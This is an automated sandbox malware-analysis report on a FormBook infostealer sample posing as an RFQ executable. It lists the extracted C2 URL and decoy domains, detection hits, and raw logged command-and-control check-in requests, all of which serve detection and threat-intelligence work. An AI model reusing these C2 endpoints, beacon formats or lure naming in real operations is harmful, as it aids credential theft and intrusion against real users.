Malware Configuration Extractor: FormBook {"C2 list": ["www.yunastone.com/u6e4/"], "decoy": ["seospecialised.com", "acrostuttgart.com", "tbluedotpanowdshop.com", "holleyjohnson.net", "kimloc.com", "he693thm166.com", "dahumblehustla.com", "cestsansgluten.net", "woxingame.com", "worldleadersretail.com", "esmcharts.com", "lovelivehuntingtonbeach.com", "komorebi-id.com", "blissburg.site", "businessloansug.com", "willorv.com", "nordsyron.com", "katebrighton.com", "sweet999.com", "antimicrobialkiosk.com", "zpokasil.com", "teengen.today", "cindyshairofdistinction.com", "prpdigital.com", "svenskagourmet.com", "forloveofwords.com", "wequassettacademy.com", "player0.xyz", "onlyheat.net", "fortrestpool.com", "wonderyearsplayschool.com", "lkrefkldklerfkklef.com", "oran-id101.club", "parentue.com", "skincarezwolle.com", "letsq.info", "sprtncloud.com", "pfg-aero.com", "yoperro.net", "meetzeedzaab.com", "xn--80aeingrcwdeeaee.xn--p1acf", "betterglazing.com", "postingyourvideos.com", "detegelboer.com", "monroesbowtique.com", "brisswicks.com", "ethnicbucket.com", "jackgaughan.net", "nuskinhk.com", "zgwljypx.com", "getemcooking.com", "metime1111.com", "2bluepigs.com", "yourcreativeconsultantgroup.com", "blinbins.com", "ruckfree.com", "mikerack.com", "downtoearthwork.com", "uxdnxodpo.icu", "lilycartoons.com", "yihetubu.com", "digho.online", "sigsauerheadquarters.com", "worldhookupguides.com"]}

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe

Joe Sandbox ML: detected

Source: 8.2.cmstp.exe.334c168.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 8.2.cmstp.exe.5597960.5.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: cmstp.pdbGCTL source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717171007.0000000000950000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.679383327.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000000.00000003.656976974.00000000031D0000.00000004.00000001.sdmp, RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717323957.0000000000ACF000.00000040.00000001.sdmp, cmstp.exe, 00000008.00000002.918955517.0000000005060000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, cmstp.exe
Source:	Binary string: cmstp.pdb source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000001.00000002.717171007.0000000000950000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.679383327.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00405302
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_00405CD8 FindFirstFileA,FindClose,	0_2_00405CD8
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 0_2_0040263E FindFirstFileA,	0_2_0040263E

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49761 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49761 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49761 -> 184.168.131.241:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49770 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49770 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49770 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49773 -> 203.170.80.250:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49773 -> 203.170.80.250:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49773 -> 203.170.80.250:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49776 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49776 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49776 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.yunastone.com/u6e4/

Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l HTTP/1.1Host: www.lovelivehuntingtonbeach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=1Ag9ExnESK7U82VQOm1M+YnyBIbP0hMcKxvGolus3vwkBQCEu8PVj/BfwiE3/mbWqrPj&irj=3fI8l HTTP/1.1Host: www.ethnicbucket.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l HTTP/1.1Host: www.yihetubu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l HTTP/1.1Host: www.jackgaughan.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=nbIk/W4He5pEO10O42RPfud1B4qKkcIU8tgfj5p6eYWGlacmbNOaBhLsz0ZNYc8flD0M&irj=3fI8l HTTP/1.1Host: www.svenskagourmet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=AsQ3LTxB6JDgjycstGcHMn5yf4EAfqSQ7ymvrjSnYLkUc6ivScYNj7IBAsLl1nyAlkLj&irj=3fI8l HTTP/1.1Host: www.blissburg.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=9rE/Ks+RPzf53nSCy0UMAVO/zIaWjpJDhxMXvZjTDQIR09Z4R8LijSxlwajnAMXj98rk&irj=3fI8l HTTP/1.1Host: www.woxingame.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=H2bTtnUfaNTDdYSmtEWFeD7sEtgyf8lXRu6X46uTKdx+YOLZfjgo+Z2uQhG3A01bXoBA&irj=3fI8l HTTP/1.1Host: www.postingyourvideos.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=LIxE2WrI46mvj7W57xDFy09FTT0JDHaGVlnSUbgkNeRFJqaK8aSY0aAsU1uS13xjmxMv&irj=3fI8l HTTP/1.1Host: www.worldleadersretail.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 203.170.80.250 203.170.80.250

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK
Source: Joe Sandbox View	ASN Name: DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU

Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l HTTP/1.1Host: www.lovelivehuntingtonbeach.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=1Ag9ExnESK7U82VQOm1M+YnyBIbP0hMcKxvGolus3vwkBQCEu8PVj/BfwiE3/mbWqrPj&irj=3fI8l HTTP/1.1Host: www.ethnicbucket.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l HTTP/1.1Host: www.yihetubu.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l HTTP/1.1Host: www.jackgaughan.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=nbIk/W4He5pEO10O42RPfud1B4qKkcIU8tgfj5p6eYWGlacmbNOaBhLsz0ZNYc8flD0M&irj=3fI8l HTTP/1.1Host: www.svenskagourmet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=AsQ3LTxB6JDgjycstGcHMn5yf4EAfqSQ7ymvrjSnYLkUc6ivScYNj7IBAsLl1nyAlkLj&irj=3fI8l HTTP/1.1Host: www.blissburg.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=9rE/Ks+RPzf53nSCy0UMAVO/zIaWjpJDhxMXvZjTDQIR09Z4R8LijSxlwajnAMXj98rk&irj=3fI8l HTTP/1.1Host: www.woxingame.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=H2bTtnUfaNTDdYSmtEWFeD7sEtgyf8lXRu6X46uTKdx+YOLZfjgo+Z2uQhG3A01bXoBA&irj=3fI8l HTTP/1.1Host: www.postingyourvideos.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u6e4/?t4qdXV=LIxE2WrI46mvj7W57xDFy09FTT0JDHaGVlnSUbgkNeRFJqaK8aSY0aAsU1uS13xjmxMv&irj=3fI8l HTTP/1.1Host: www.worldleadersretail.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.lovelivehuntingtonbeach.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundTransfer-Encoding: chunkedServer: Nginx Microsoft-HTTPAPI/2.0X-Powered-By: NginxDate: Mon, 31 May 2021 08:57:26 GMTConnection: closeData Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000004.00000000.666941418.0000000002B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.690572106.000000000B976000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_00404EB9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404EB9

Source: RE; KOC RFQ for Flangers - RFQ 22965431.exe, 00000000.00000002.665676994.000000000072A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_004181C0 NtCreateFile,	1_2_004181C0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00418270 NtReadFile,	1_2_00418270
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_004182F0 NtClose,	1_2_004182F0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_004183A0 NtAllocateVirtualMemory,	1_2_004183A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041826A NtReadFile,	1_2_0041826A
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_004182EB NtClose,	1_2_004182EB
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_0041839D NtAllocateVirtualMemory,	1_2_0041839D
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A198F0 NtReadVirtualMemory,LdrInitializeThunk,	1_2_00A198F0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19860 NtQuerySystemInformation,LdrInitializeThunk,	1_2_00A19860
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19840 NtDelayExecution,LdrInitializeThunk,	1_2_00A19840
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A199A0 NtCreateSection,LdrInitializeThunk,	1_2_00A199A0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19910 NtAdjustPrivilegesToken,LdrInitializeThunk,	1_2_00A19910
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19A20 NtResumeThread,LdrInitializeThunk,	1_2_00A19A20
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19A00 NtProtectVirtualMemory,LdrInitializeThunk,	1_2_00A19A00
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19A50 NtCreateFile,LdrInitializeThunk,	1_2_00A19A50
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A195D0 NtClose,LdrInitializeThunk,	1_2_00A195D0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19540 NtReadFile,LdrInitializeThunk,	1_2_00A19540
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A196E0 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_00A196E0
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A19660 NtAllocateVirtualMemory,LdrInitializeThunk,	1_2_00A19660
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Code function: 1_2_00A197A0 NtUnmapViewOfSection,LdrInitializeThunk,	1_2_00A197A0
